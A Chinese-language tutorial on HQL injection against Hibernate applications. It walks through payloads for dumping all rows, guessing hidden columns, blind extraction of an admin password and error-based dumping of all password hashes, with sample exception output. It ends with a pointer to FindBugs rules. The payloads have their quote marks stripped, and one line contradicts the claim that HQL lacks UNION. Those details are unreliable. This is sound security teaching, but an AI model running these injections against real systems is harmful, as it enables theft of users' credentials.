Hibernate HQL注入攻擊入門

知識 04-24

Hibernate HQL注入攻擊入門

作者 Taskiller

SQL注入是一種大家非常熟悉的攻擊方式，目前網路上有大量存在注入漏洞的DBMS（如MySQL，Oracle，MSSQL等）。但是，我在網路上找不到針對Hibernate查詢語言的相關資源。因此本文總結了筆者在閱讀文檔和不斷試驗過程中的一些經驗技巧。

什麼是Hibernate

Hibernate是一種ORM框架，用來映射與tables相關的類定義（代碼），並包含一些高級特性，包括緩存以及繼承，通常在Java與.NET中使用（可參考NHibernate），但在Java生態系統中更受歡迎。

查詢語言

首先，HQL查詢並不直接發送給資料庫，而是由hibernate引擎對查詢進行解析並解釋，然後將其轉換為SQL。為什麼這個細節重要呢？因為有兩種錯誤消息來源，一種來自hibernate引擎，一種來自資料庫。

HQL的一大挑戰是注射模式非常有限，其沒有聯合，沒有函數來創建簡單延遲，沒有系統函數，沒有可用的元數據表等。Hibernate查詢語言沒有那些在後台資料庫中可能存在的功能特性。

基礎

以下示例代碼用來進行之後的測試。需要注意的是，惡意輸入總是在百分號之間：

session.createQuery("from Book where title like %" + userInput + "% and published = true")

列出所有實體

下面從最基礎的開始：列出所有books

from Bookwhere title like % or 1=1 or = % and published = true

訪問隱藏的列

儘管UNION操作符不可用，我們依然可以暴力破解隱藏的列。

from Bookwhere title like % and promoCode like A% or 1=2 and = % and published = truefrom Bookwhere title like % and promoCode like B% or 1=2 and = % and published = true

列出所有的列

也許有讀者可能會問，如果沒有元數據表，怎麼樣才能發現隱藏的列/欄位呢。我發現一個小竅門，不過只有Hibernate向客戶端返回異常消息時才可用。如果列名不是Hibernate中實體定義的一部分，則其會觸發異常：

from Bookwhere title like % and DOESNT_EXIST=1 and = % and published = true

觸發異常：

通過該異常，可以看到Hibernate查詢的列表名。

訪問不同的表

如前所述，HQL支持UNION查詢，可以與其它表join，但只有在模型明確定義了關係後才可使用。我發現訪問其它表的唯一方法是使用子查詢。

例如，以下查詢會從表中選擇一條與「User」實體關聯的項。

from Bookwhere title like % and (select substring(password,1,1) from User where username= admin ) = a or = % and published = true

之後就可以按常規的盲注模式進行盲注了。

非盲注

盲注比較費時間，如果異常消息能顯示出來，就可以直接得到任意值了。為此，需要將某個選中的值轉換為不同的類型。例如：

from Bookwhere title like %11 and (select password from User where username= admin )=1 or = % and published = true

之後Hibernate就愉快地將異常消息返回了：

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like %11 and (select user1_.password from User user1_ where user1_.username = admin )=1 or = % and book0_.published=1 [22018-159]

技巧：調用後台函數

如前所述，Hibernate會在SELECT和WHERE語句中隱藏一些不可識別的列名，對函數也一樣。調用資料庫函數的標準過程是事先註冊函數映射（HQL->SQL）（Java代碼），但攻擊者不需要關心兼容性。最終查詢中的完整函數可以用來竊取數據（group_concat,array_agg, …）或對後台資料庫進行簡單的指紋識別。

例如，如果資料庫支持group_concat函數：

from Bookwhere title like %11 and (select cast(group_concat(password) as string) from User)=1 or = % and published = true

則異常觸發為：

Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like %11 and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or = % and book0_.published=1 [22018-159]

總結

本文並不是討論關於Hibernate的漏洞，而是利用HQL的技巧。如果有讀者維護著使用Hibernate的Java web應用程序，可以運行FindBugs，利用這些規則識別與Hibernate API相關的潛在注入問題。

本文至此就結束了，希望對各位讀者有所幫助！

參考

HQL: The Hibernate Query Language : Hibernate 官方文檔

http://docs.jboss.org/hibernate/orm/3.3/reference/en/html/queryhql.html

HQLmap:也許是目前能夠進行自動HQL注入的唯一工具（暴力破解實體與列名）。

https://github.com/PaulSec/HQLmap

SQL Injection Wiki : 多種DBMS平台進行SQL注入的有用參考資料。

Pentestmonkey

SQL Injection cheatsheets: SQL注入的另一不錯的參考資料。

http://pentestmonkey.net/category/cheat-sheet/sql-injection